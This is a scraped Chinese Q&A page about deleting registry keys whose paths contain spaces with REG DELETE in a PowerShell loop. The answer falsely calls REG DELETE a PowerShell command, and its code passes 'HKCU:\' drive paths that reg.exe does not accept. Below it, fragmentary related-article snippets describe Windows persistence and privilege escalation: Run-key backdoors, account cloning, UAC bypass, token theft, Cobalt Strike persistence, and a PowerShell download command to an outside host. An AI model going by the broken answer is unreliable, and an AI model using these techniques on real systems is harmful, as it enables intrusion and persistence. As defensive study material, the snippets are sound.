首页
学习
活动
专区
工具
TVP
发布
精选内容/技术社群/优惠产品,尽在小程序
立即前往

PowerShell / REG DELETE:如何在循环中使用包含空格的注册表路径?

基础概念

PowerShell 是一种跨平台的任务自动化和配置管理框架,主要针对 Windows 操作系统设计。它允许用户通过命令行界面执行各种操作,包括文件系统管理、注册表操作、网络配置等。

REG DELETE 是 PowerShell 中用于删除注册表项的命令。注册表是 Windows 操作系统中存储系统和应用程序配置信息的关键数据库。

相关优势

  • 自动化:PowerShell 脚本可以自动化复杂的任务,减少手动操作。
  • 灵活性:支持广泛的命令和模块,适用于各种系统和应用程序。
  • 安全性:可以通过脚本精确控制操作,减少人为错误。

类型

  • 基本命令:如 REG DELETE
  • 脚本:通过编写 PowerShell 脚本来执行复杂的任务。

应用场景

  • 系统配置管理:修改或删除注册表项以调整系统设置。
  • 应用程序部署:在安装或卸载应用程序时管理注册表项。
  • 故障排除:检查和修复注册表问题。

问题描述

在循环中使用包含空格的注册表路径时,可能会遇到路径解析错误的问题。

原因

PowerShell 在处理包含空格的路径时,默认会将空格视为参数分隔符,导致路径被错误解析。

解决方法

可以使用引号将包含空格的路径括起来,确保路径被正确解析。以下是一个示例代码:

代码语言:txt
复制
$paths = @(
    "HKCU:\Software\Example Company\Tool 1",
    "HKCU:\Software\Example Company\Tool 2",
    "HKCU:\Software\Example Company\Tool 3"
)

foreach ($path in $paths) {
    Write-Host "Deleting registry key: $path"
    REG DELETE "$path" /F
}

解释

  1. 定义路径数组$paths 数组包含了需要删除的注册表路径。
  2. 循环遍历路径:使用 foreach 循环遍历每个路径。
  3. 输出日志:使用 Write-Host 输出当前正在删除的注册表键。
  4. 删除注册表项:使用 REG DELETE 命令删除注册表项,并使用 /F 参数强制删除。

参考链接

PowerShell REG DELETE 命令

通过这种方式,可以确保在循环中正确处理包含空格的注册表路径,避免路径解析错误。

相关搜索:运行文件路径中包含空格的PowerShell脚本循环遍历路径中包含空格的文件名批处理文件reg delete :如何删除名称中带有空格和反斜杠结尾的注册表项如何在bash脚本中循环包含空格的名称?在路径中包含空格的情况下从Excel运行powershell脚本如何将动态HKEY_USERS\SID中的子注册表项提取到reg文件中,并使用Powershell替换reg文件中的SID如何在路径中包含具有相似名称的zip文件(powershell)使用电子时显示路径中包含空格的图像(windows)在循环中使用find返回名称中包含空格的文件使用Dir.chdir处理路径名中包含空格的内容如何使用robocopy在目录名称中包含空格来运行powershell提升的拷贝?如何在powershell 2.0中找到文件夹名称中包含'[]‘的文件夹的路径如何在foreach循环中使用powershell中的start-job?如何在循环中使用导入的函数,并在该函数中包含循环变量?如何在foreach循环中使用Powershell写入CSV中的一个条目如何在python中包含给定路径下的所有文件以及循环中的所有子目录的文件?如何在备份完成后使用powershell中的backup-sqldatabase获取备份路径详细信息如何在嵌套的for循环中使用父循环计数器来访问json中的特定行,如django模板(.html文件)中的数据如何在不使用文件路径的情况下将二进制文件附加到Powershell中的$SMTPMessage.Attachments.Add如何在C++17中使用文件系统的类路径而不包含完整的文件系统头文件?
相关搜索:
页面内容是否对你有帮助?
有帮助
没帮助

相关·内容

cmd.exe 命令行启动参数(可用于执行命令、传参或进行环境配置)

cmd.exe 启动参数使用坑 在上面的例子,我们路径不涉及到空格。我们知道,路径中有空格的话,在命令行中使用需要加上引号。.../frpc.ini " 以上,感谢 林德熙 挥泪踩出来坑,详见: 如何在 CMD 启动软件传入带空格路径 - 林德熙 附 cmd.exe 全部启动参数说明 启动 Windows 命令解释器一个新实例...你 可以在机器上和/或用户登录会话上启用或停用 CMD.EXE 所有 调用延迟扩展,这要通过设置使用 REGEDIT.EXE 注册表 一个或两个 REG_DWORD 值: 1 2 3 4...你可以在计算上和/或 用户登录会话上启用或禁用 CMD.EXE 所有调用完成, 这可以通过使用 REGEDIT.EXE 设置注册表下列 REG_DWORD 全部或其中之一: 1 2 3 4...要停用 注册表某个字符,请用空格(0x20)数值,因为此字符 不是控制字符。 如果键入两个控制字符一个,完成会被调用。

3K20

windows权限维持大结局

: 需通过在注册表中进行类似账号克隆操作,分别将如下图所示项分别导出为item1.reg和item2.reg: 在item1.reg编辑F参数,通过复制Administrator在注册表...F参数将该其覆盖后保存: 在cmd命令执行“net user hacker /del”,然后双击item1.reg和item2.reg重新将hacker用户写入到注册表,此时在本地安全策略已无hacker...在注册表添加启动自动运行后门 下图所示为注册表启动自动运行目标目录: 通过reg add "HKEY_CURRENT_USER\software\microsoft\windows\CurrentVersion...\Run" /vmyPersist /t reg_sz /d "C:\Users\Administrator\Desktop\persist.exe" 命令,可将启动自动运行程序添加到注册表相应项...示例 schtasks /create /tn/tr /sc <什么时候运行 o 创建计划任务启动notepad(需要管理员权限) 对应可以在 _Task Scheduler

2.4K40
  • Windows提权几种常用姿势

    PortNumber 2、数据库提权 2.1 MySQL提权 利用mysql几种提权方式,udf提权、mof提权、启动项提权等。...3.2 可信任服务路径漏洞 当一个服务可执行文件路径含有空格,却没有使用双引号引起来,那么这个服务就存在漏洞。根据优先级,系统会对文件路径空格所有可能进行尝试,直到找到一个匹配程序。...3.3 不安全注册表权限配置 如果低权限用户对程序路径所对应键值有写权限,那么就可以控制这个服务,运行后门程序,从而获取权限。...(1)访问SYSVOL共享文件夹,搜索包含“cpassword”XML文件,获取AES加密密码。 ? (2)使用kali自带gpp-decrypt进行破解 ?...6、令牌窃取提权 通过窃取令牌获取管理员权限,在MSF,可以使用incognito实现token窃取。

    1.6K20

    权限维持方法小结

    当用户双击对应程序后,操作系统就会给外壳程序(例如"explorer.exe")发布相应指令,其中包含有执行程序路径和文件名,然后由外壳程序来执行该程序。...事实上在该过程,Windows还会在注册表上述路径查询所有的映像劫持子键,如果存在和该程序名称完全相同子键,就查询对应子健包含"dubugger"键值名,并用其指定程序路径来代替原始程序...% /VE /T REG_SZ /D "%CD%\msg.dll" /F # 修改默认路径值为msg.dll路径 cmd> 当前cmd下启动.net程序,比如:powershell,即可执行dll DLL...1、文件完整性检测 修改了默认动态链接库后文件完整性发生变化,可以使用rpm等来校验 首先获取系统动态链接器文件路径(interp段指定了动态链接器位置) readelf -a /bin/ps...auth sufficient pam_rootok.so,所以只要PAM配置文件包含此配置即可SSH任意密码登陆,除了su之外还有chsh、chfn同样可以。

    3.3K10

    常规安全检查阶段 | Windows 应急响应

    query 遇到空格处理方法多少有些奇怪,整体用双引号引上不行,反斜线也不太行,得用双引号把空格引上 如果一个用户只是被创建了而没有登录,在注册表可能是看不到这一项,因此做实验朋友们记得登录一次...注意 REG_MULTI_SZ 是多字符串值,也就是说表示多个字符串,字符串不能包含空格 Description:计划任务服务描述信息,用于提供关于该服务功能说明。...\.NET CLR Data\Performance 排查思路就是把服务所有注册表包含 Performance 子项,获取 Library 键值,验证文件签名 通过 powershell...(C:\Windows\System32)和系统路径PATH环境变量所指定路径搜索。...这有助于防止使用容易猜测密码,123456、password等。 自定义验证规则:管理员可以定义自定义验证规则,以满足特定安全需求。例如,要求密码包含特定字符、不允许使用特定单词或模式等。

    1.2K10

    CobaltStrike权限维持及其自动化

    笔者在最近一次钓鱼活动忘记添加自启直接就重启了目标机器,导致权限丢失,很难受,所以决定自己撸一个一键维权插件,避免再出现此类低级错误。 ?.../create是创建新任务,/TN是TaskName简写,也就是新建任务名字,在系统必须唯一,/TR是TaskRun简写,即为需要运行程序路径和文件名。...相比at来说,schtasks优势在于可以周期运行,重复检索任务是否处于运行状态,可使用下面的命令删除: schtasks /delete /tn WindowsUpdate 注册表 windows系统开机项位于注册表...需要注意参数值与等号之间要有空格使用Windows服务进行自启有个很有意思地方,默认是以system权限启动,也是“提权”一种不错方式。...另外有个小坑,sc在powershell传参有问题,执行不成功,必须在cmd里执行。笔者刚开始写插件是全程用bpowershell函数执行命令,在这儿卡了有一会儿,相当难受。

    2.9K20

    渗透测试与开发技巧

    (使用Native API) 参考: 《渗透技巧——"隐藏"注册表创建》 《渗透技巧——"隐藏"注册表更多测试》 方法19:powershell配置文件 修改powershell配置文件,后门在powershell...: 使用py2exe 使用PyInstaller 使用方法和常见bug解决方法可参照参考链接 参考: 《本地密码查看工具LaZagne自定义脚本开发》 ---- Tips 38 普通用户权限向管理员权限路径下写文件...Windows系统服务对应可执行文件路径,如果路径包含普通用户写权限,那么该服务可被用来提升权限 powershell代码: $ErrorActionPreference="SilentlyContinue...使用/D需要管理员权限 应用: 更改释放文件路径 ---- Tips 51 powershell在执行脚本时传入参数 powershell -executionpolicy bypass -Command...---- Tips 66 通过powershell读取注册表获得所有用户远程桌面连接历史记录 默认读注册表只能获取当前已登录用户注册表信息,可通过reg load加载配置单元获得未登录用户注册表配置

    4.5K20

    windows提权看这一篇就够了

    system #当工具无法使用时,也可以手工查找,使用Windows内建工具icacls查看服务启动路径写权限 例如:icacls “C:\Program Files” icacls “C:\Program.../1111.exe" C:\ScheduledTasks\Task1\1111.exe #等待计划任务执行 2.2可信任服务路径漏洞 简介:如果一个服务可执行文件路径没有被双引号引起来且包含空格,...原理:对于C:Program FilesSome FolderService.exe文件路径每一个空格,windows都会尝试寻找并执行名字与空格名字向匹配程序。...操作系统会对文件路径空格所有可能进行尝试,直到找到一个匹配程序。...当加载某些较高完整性级别进程时,会引用这些注册表项,从而导致进程加载用户控制DLL,这些DLL包含导致会话权限提升payload。

    3.4K20

    windows提权看这一篇就够了

    system #当工具无法使用时,也可以手工查找,使用Windows内建工具icacls查看服务启动路径写权限 例如:icacls “C:\Program Files” icacls “C:\Program.../1111.exe" C:\ScheduledTasks\Task1\1111.exe #等待计划任务执行 2.2可信任服务路径漏洞 简介:如果一个服务可执行文件路径没有被双引号引起来且包含空格,...原理:对于C:\Program Files\Some Folder\Service.exe文件路径每一个空格,windows都会尝试寻找并执行名字与空格名字向匹配程序。...操作系统会对文件路径空格所有可能进行尝试,直到找到一个匹配程序。...\SYSTEM\CurrentControlSet\Services注册表,服务对应程序路径存储在HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\

    16.3K31

    BypassUAC技术总结

    文件以将搜索路径定位到包含恶意DLL地方。...此方法通常也被称为DLL侧加载 (6) 相对路径DLL劫持:将合法应用程序复制(并有选择地重命名)与恶意DLL一起放入到用户可写文件夹。在使用方法上,它与(签名)二进制代理执行有相似之处。...实践出真知2 这里使用第三种方法进行实验,实验对象是eventvwr.msc,它是管理工具事件查看器,它依赖于mmc.exe来运行。...COR_PROFILER指定注册表项,找到其dll路径并加载。...这里拿事件查看器举例 操作-》打开保存目录-》文件目录路径处输入powershell-》弹出高权限powershell 以此内推,还有很多相似的管理工具可以这样利用 注册表劫持 Fodhelper.exe

    89430

    有趣10个CMD命令「建议收藏」

    ` 六、可爱循环`for`命令 七、打开程序`start`命令 八、CMD下切换目录`cd`命令 九、创建文件夹命令`md` 十、操作注册表`reg`命令 前言 什么是CMD?...格式(管理员模式下,请将%i替换为%%i)for /l %i in (开始地方,步长step,结束地方) do 命令,结束时候会停止到前一项,(1,1,10)循环为1~9。.../f 不用提示就强行覆盖现有注册表项。 /reg:32 指定应该使用 32 位注册表视图访问注册表项。 /reg:64 指定应该使用 64 位注册表视图访问注册表项。.../reg:32 指定应使用 32 位注册表视图访问 注册表项。 /reg:64 指定应使用 64 位注册表视图访问 注册表项。...示例: REG DELETE HKLM\Software\MyCo\MyApp\Timeout 删除注册表项 Timeout 及其所有子项和值 REG DELETE \\ZODIAC\HKLM\Software

    5.8K10

    怎样关闭和复原135 、139 、445端口?

    ),回滚操作后,计划任务恢复,排查发现是添加Rpc\internet注册表reg add HKLM\SOFTWARE\Microsoft\Rpc\internet)导致。...\Microsoft\Rpc\Internet | Remove-Item -force -Confirm:0"以上复原135端口命令适用所有Windows系统下面单独说下reg delete命令执行...reg delete "HKLM\SOFTWARE\Microsoft\Rpc\Internet" /f 删Rpc\Internet报没权限,2008R2、2012R2打开注册表循着路径找到Rpc\Internet...-i -s reg delete "HKLM\SOFTWARE\Microsoft\Rpc\Internet" /f【只有一块网卡CVM,关闭139端口】powershell两行代码执行后重启机器生效...\NetBT\Parameters\Interfaces\$netcardGUID /v NetBIOSOptions /T REG_DWORD /D 2 /F【只有一块网卡CVM,复原139端口】powershell

    9.3K40

    windows常用命令

    在渗透测试遇到 Windows 概率是非常大,那么在拿到一台服务器权限之后,通常会获得一个 shell,想要进行下一步渗透,几乎都是需要通过在 shell 中使用 Windows 命令来进行渗透...' 显示服务信息 sc query 显示具体服务信息(包括二进制路径和运行使用) sc qc Spooler 找出文件名字包含 password 文件 findstr /si 'password'...Server\WinStations\RDP-Tcp" /v PortNumber /t REG_DWORD /d 12345 /f 注册表操作 查找注册表密码 reg query HKLM /f..." 使用 powershell 下载文件 powershell -c "(new-object System.Net.WebClient).DownloadFile('http://blabla.com...,看看执行结果,了解一下这些命令作用,看如何在实际渗透应用,话不多说,有好文章给我投稿呦。

    61400

    1. 批处理常用符号详解:

    要查找包含字“FOR”所有行(前面可有任意数量空格:计算机程序循环),并包括每次出现行号,请键入:findstr /b /n /c:"*FOR" *.basreg import将包含导出注册表子项、项和值文件复制到本地计算机注册表。...对于远程计算机,\\ComputerName\PathToSubkey 子项路径包含计算机名称。忽略 ComputerName 会导致默认对本地计算机进行操作。以相应子目录树开始路径。...unload使用 reg load 操作删除已加载部分注册表。...对于远程计算机,\\ComputerName\PathToSubkey 子项路径包含计算机名称。忽略 ComputerName 会导致默认对本地计算机进行操作。以相应子目录树开始路径

    1.8K21

    Windows 批处理(bat)语法大全

    choice 使用此命令可以让用户输入一个字符,从而运行不同命令。 使用时应该加/c:参数,c:后应写提示可输入字符,之间无空格。..._07\bin” /f c.如果注册表名称有空格,或者数据用特殊符号时 reg add “%SoftWareHome2%\HelpCommands” /v “01:Online Documentation...” /f 这里用“/ve”来代替一般修改时“/v 变量名”,即可修改默认值了 3) 删除注册表内容 双引号里面的是注册表目录,下面两句将删除这目录下所有信息 reg delete “HKEY_CURRENT_USER...\Software\RealVNC” /f reg delete “HKEY_LOCAL_MACHINE\SOFTWARE\RealVNC” /f 双引号里面的是注册表目录,下面一句将删除这目录下指定某个信息...reg delete “HKEY_LOCAL_MACHINE\Software\RealVNC” /v VNC_Server /f 4) 注册表常用位置 a.系统启动项: [HKEY_LOCAL_MACHINE

    6.5K20

    windows bat批处理基础命令学习教程「建议收藏」

    choice 使用此命令可以让用户输入一个字符,从而运行不同命令。 使用时应该加/c:参数,c:后应写提示可输入字符,之间无空格。.../d “%cd%\jre1.6.0_07\bin” /f c.如果注册表名称有空格,或者数据用特殊符号时 reg add “%SoftWareHome2%\HelpCommands” /v “01...%” /f 这里用“/ve”来代替一般修改时“/v 变量名”,即可修改默认值了 3) 删除注册表内容 双引号里面的是注册表目录,下面两句将删除这目录下所有信息 reg delete “HKEY_CURRENT_USER...\Software\RealVNC” /f reg delete “HKEY_LOCAL_MACHINE\SOFTWARE\RealVNC” /f 双引号里面的是注册表目录,下面一句将删除这目录下指定某个信息...reg delete “HKEY_LOCAL_MACHINE\Software\RealVNC” /v VNC_Server /f 4) 注册表常用位置 a.系统启动项: [HKEY_LOCAL_MACHINE

    17.6K34

    内网渗透基石篇--权限提升

    通俗说,如果一个服务可执行文件路径(带空格)没有被双引号引起来,那么这个服务就有漏洞。...此时,假如能上传一个适当命名后门程序,那么当服务重启时候就会以system权限运行(大多数情况下) 所以,理论上一个服务可执行文件路径没有用双引号封闭,且包含空格,那么就是存在漏洞 检测是否存在漏洞...权限运行,所以系统在解析服务二进制文件对应文件路径空格时候也会以系统权限进行解析。...1.Metasploit下实战利用 1.先检测目标主机是否存在该漏洞。理论上讲,如果一个服务可执行文件路径没有用双引号封闭,并且包含空格,那么这个服务就是有漏洞。...,并且路径包含空格

    1.7K60

    如何获得PowerShell命令历史记录

    0x00前言 我在最近学习过程,发现PowerShell命令历史记录有时会包含系统敏感信息,例如远程服务器连接口令,于是我对PowerShell历史记录功能做了进一步研究,总结一些渗透测试中常用导出历史记录方法...(控制面板\程序\程序和功能)有显示:Package Management Preview - x64 Package Management Preview - x64注册表路径为HKEY_LOCAL_MACHINE...删除注册表CMD命令: reg delete HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{57E5A8BB-41EB-4F09...0x03防御建议 如果使用高版本视窗系统,Win10,默认PowerShell版本为5.0,会记录PowerShell命令,建议定时进行清除,位置:%appdata%\Microsoft\Windows...对于低版本Powershell,如果命令包含敏感信息(远程连接口令),需要及时清除,命令为:Clear-History 对于cmd.exe,如果命令包含敏感信息(远程连接口令),需要及时清除

    13.3K30

    常见windows下无文件落地攻击手法

    传统恶意软件(例如.exe)攻击感染一个系统之前会把恶意文件(例如exe)复制到目标磁盘并修改注册表并连接到此文件来达到一个长期隐藏目的,无文件落地攻击是指即不向磁盘写入可执行文件,而是以脚本形式存在计算机注册表子项目中...传统恶意软件攻击流程: 1.投放恶意PE(可移植可执行文件)到目标磁盘驱动器 2.执行 3.长期隐藏-需要修改注册表并连接到此恶意PE。...使用Cobalt strike生成一个木马放在WEB 然后在目标调用powershell远程加载执行我们恶意ps1,然后在cobalt strike可以看到已经回连上线了 ?...1>nul 2>&1 reg delete HKEY_CURRENT_USER\SOFTWARE\Classes\Bandit.1.00 /f 1>nul 2>&1 reg delete HKEY_CURRENT_USER...这里使用cobalt strike 恶意com script,一样我们放在web服务器 这个位置更改成我们远程连接: ? 但是我这里利用不了。

    5.6K20
    领券